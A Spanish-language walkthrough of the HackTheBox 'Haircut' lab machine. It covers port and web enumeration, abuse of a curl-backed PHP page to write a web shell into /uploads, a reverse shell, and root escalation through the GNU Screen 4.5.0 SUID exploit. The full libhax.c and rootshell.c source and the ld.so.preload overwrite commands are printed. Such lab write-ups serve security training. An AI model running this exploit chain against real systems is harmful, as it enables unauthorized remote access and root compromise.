Haircut Write-UP | HackTheBox

Haircut Write-UP | HackTheBox

Descripción

En esta máquina Haircut de la plataforma Hackthebox con dificultad «Medium» y OS Linux, haremos uso de la utilidad Curl a través de un recurso encontrado con gobuster en el servicio HTTP para abusar de ella y poder ejecutar RCE. Encontraremos un binario con permisos de SUID que nos permitirá escalar privilegios para conseguir shell root.

Como punto a comentar, la dirección IP de la máquina activa y la que se muestran en las imágenes y/o comandos utilizados son diferentes, ya que se ha utilizado instancia personal para la realización de dicho laboratorio.

Escaneo y Enumeración

Comenzaremos como siempre con una traza ICMP para descubrir el tipo de SO que utiliza la máquina objetivo en base al TTL.

Nos encontramos con una máquina de SO GNU/Linux :

ping -c 1 10.129.105.250

PING 10.129.105.250 (10.129.105.250) 56(84) bytes of data.
64 bytes from 10.129.105.250: icmp_seq=1 ttl=63 time=71.0 ms

--- 10.129.105.250 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 70.959/70.959/70.959/0.000 ms

Hacemos uso de la herramienta NMAP para descubrir puertos abiertos:

# Nmap 7.91 scan initiated Mon Apr 26 10:10:23 2021 as: nmap -T5 -p- --open -n -Pn -v -oG allPorts -oN initScan 10.129.105.250
Nmap scan report for 10.129.105.250
Host is up (0.052s latency).
Not shown: 65526 closed ports, 7 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Observamos que tiene 2 puertos abiertos corriendo con los servicios: SSH(22) y http(80).

Lanzamos nuevamente NMAP para intentar descubrir vulnerabilidades conocidas y versión utilizada por los servicios corriendo en los puertos abiertos:

# Nmap 7.91 scan initiated Mon Apr 26 10:12:55 2021 as: nmap -sC -sV -p22,80 -n -Pn -v -oN targeted 10.129.105.250
Nmap scan report for 10.129.105.250
Host is up (0.051s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vemos que en el puerto 80 está corriendo un servicio Web con título: HTB Hairdresser.

Vamos a lanzar rápidamente el script de Nmap http-enum para fuzzear directorios comunes en el sitio web por si encontramos algo:

# Nmap 7.91 scan initiated Mon Apr 26 10:17:07 2021 as: nmap --script http-enum -p80 -n -oN haircut.webscan 10.129.105.250
Nmap scan report for 10.129.105.250
Host is up (0.050s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|_  /test.html: Test page

Como vemos, no hemos encontrado gran cosa, únicamente un archivo test.html.

Utilizamos la herramienta whatweb para identificar de una pasada el sitio web:

whatweb <http://10.129.105.250>

<http://10.129.105.250> [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.10.0 (Ubuntu)], IP[10.129.105.250], Title[HTB Hairdresser], nginx[1.10.0]

Accedemos al sitio web y vemos que tiene una imagen:

Podemos descargar la imagen y comprobar los bits menos significativos, para ver si tiene algún archivo oculto en su interior:

$ binwalk bounce.jpg                

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

$ steghide info bounce.jpg 

"bounce.jpg":
  formato: jpeg
  capacidad: 4,6 KB
Intenta informarse sobre los datos adjuntos? (s/n) s
Anotar salvoconducto: 
steghide: no pude extraer ningn dato con ese salvoconducto!

No encontramos nada oculto en la imagen.

Accedemos al recurso que hemos encontrado con el script http-enum de Nmap y nos encontramos la siguiente imagen:

Parece ser que nos quieren dar una pista con CURL, puede ser que haya algún recurso escondido. Vamos a probar con la herramienta GoBuster haciendo fuzzing para ver si encontramos algo que nos interese:

gobuster dir -u <http://10.129.105.250/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     <http://10.129.105.250/>
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2021/04/26 11:07:58 Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 194] [--> <http://10.129.105.250/uploads/>]
/exposed.php          (Status: 200) [Size: 446]                                     
Progress: 78822 / 661683 (11.91%)

Con la herramienta GoBuster encontramos el directorio uploads y el archivo exposed.php.

En el directorio uploads no podemos listar los archivos que contiene ya que nos devuelve un código de error 403: Forbidden, pero como sabemos, eso no es problema si sabemos el nombre del recurso que queremos buscar. Nos anotamos ese directorio en la cabeza y seguimos con el archivo PHP.

Al acceder al recurso con extensión PHP, nos encontramos con un inputbox que nos permite realizar una búsqueda según localización. La pista de antes ya nos había indicado que podía ser la herramienta CURL.

Vamos a realizar una prueba. Levanto un servicio http con updog y añado cualquier archivo para ver si es capaz de resolverlo y mostrarlo en pantalla:

$ echo '<h1> rekkatz </h1>' > index.html
$ updog -p80

[+] Serving /home/rekkatz/Documentos/htb/Haircut/content...
 * Running on <http://0.0.0.0:80/> (Press CTRL+C to quit)
10.129.105.250 - - [26/Apr/2021 11:20:20] "GET / HTTP/1.1" 200 -
10.129.105.250 - - [26/Apr/2021 11:20:42] "GET /index.html HTTP/1.1" 200 -

Explotación

Como sabemos que está utilizando la utilidad CURL, vamos a utilizar el parámetro «-o» que nos permite guardar el output del recurso al cual estamos accediendo a un archivo que nosotros escojamos. En este caso sabemos de anteriormente que tenemos un directorio con nombre uploads, que como hemos comentado anteriormente no podemos listar los archivos, pero sí que podemos hacer target de un recurso que sepamos el nombre completo.

Por lo tanto, vamos a almacenar el output de nuestro recurso test.php en la máquina, suponiendo que la ruta absoluta del directorio uploads sea /var/www/html/uploads:

Accedemos al recurso en el directorio uploads y vemos que tenemos el archivo php que hemos creado y que podemos realizar RCE:

Creamos un script en bash y como sabemos que tenemos curl en el sistema, levantamos servicio http en nuestra máquina, apuntamos al script que hemos creado y pipeamos con bash para ganar acceso al sistema:

Obtenemos acceso al sistema:

$ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.14.38] from (UNKNOWN) [10.129.105.250] 40602
bash: cannot set terminal process group (1430): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:~/html/uploads$ whoami
whoami
www-data
[email protected]:~/html/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:~/html/uploads$

Realizamos tratamiento para shell interactiva:

[email protected]:~/html/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null

Control + Z
ssty raw -echo; fg
reset
xterm

[email protected]:~/html/uploads$ export SHELL=bash
[email protected]:~/html/uploads$ export TERM=xterm-256color
[email protected]:~/html/uploads$ stty rows 70 columns 253

Enumeración del sistema

User Flag

Podemos visualizar la flag siendo usuario www-data, ya que tenemos permisos de lectura para «Otros»:

[email protected]:/home/maria/Desktop$ ls -l user.txt 
-r--r--r-- 1 root root 34 May 16  2017 [email protected]:/root# wc -c root.txt 
33 root.txt
[email protected]:/home/maria/Desktop$ wc -c user.txt 
34 user.txt

Enumeramos los usuarios que existen a nivel de sistema que tengan acceso a terminal sh:

[email protected]:~/html$ grep "sh$" /etc/passwd

root:x:0:0:root:/root:/bin/bash
maria:x:1000:1000:maria,,,:/home/maria:/bin/bash

Vemos que existe un usuario con nombre maria.

Si enumeramos binarios del sistema que puedan contener permisos SUID, nos encontramos con el siguiente:

[email protected]:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/screen-4.5.0
...

Este binario llama la atención ya que no se encuentra entre los binarios por defecto de un sistema GNU/Linux con permisos SUID.

Si echamos un ojo a searchsploit, nos indica que existen exploits para LPE (Local Privilege Escalation):

searchsploit screen 4.5                                               
---------------------------------------------------- ---------------------------------
 Exploit Title                                      |  Path
---------------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation       | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | linux/local/41152.txt

Escalada de privilegios

Elegimos el exploit 41154, le echamos un vistazo al código y vemos que la intención es crear un compilado del archivo libhax y rootshell en lenguaje C.

Como yo he tenido problemas a la hora de compilar en la máquina de HTB, lo he realizado en mi máquina local y he subido los archivos ya compilados al directorio /tmp de la máquina Haircut:

1 – Creamos el archivo «libhax.c» con el editor:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\\n");
}

2 – Compilamos libhax.c:

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

(No hacer caso de los warnings)

3 – Creamos el archivo «rootshell» con el editor:

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

4 – Compilamos rootshell.c:

gcc -o /tmp/rootshell /tmp/rootshell.c

(No hacer caso de los warnings

5 – Una vez tengamos la librería libhax.so y el binario rootshell compilados, los subimos a la máquina Haircut en el directorio /tmp. En la máquina Haircut ejecutamos:

[email protected]:~$ cd /etc
[email protected]:/etc$ umask 000
[email protected]:/etc$ screen -D -m -L ld.so.preload echo -ne  "\\x0a/tmp/libhax.so"
[email protected]rcut:/etc$ screen -ls

6 – Por último ejecutamos el binario rootshell que hemos subido a la ruta /tmp y obtenemos shell de usuario root:

[email protected]:/etc$ /tmp/rootshell
[email protected]:/etc# whoami
root
[email protected]:/etc# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
[email protected]:/etc#

Root Flag

[email protected]:/root# wc -c root.txt 
33 root.txt

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *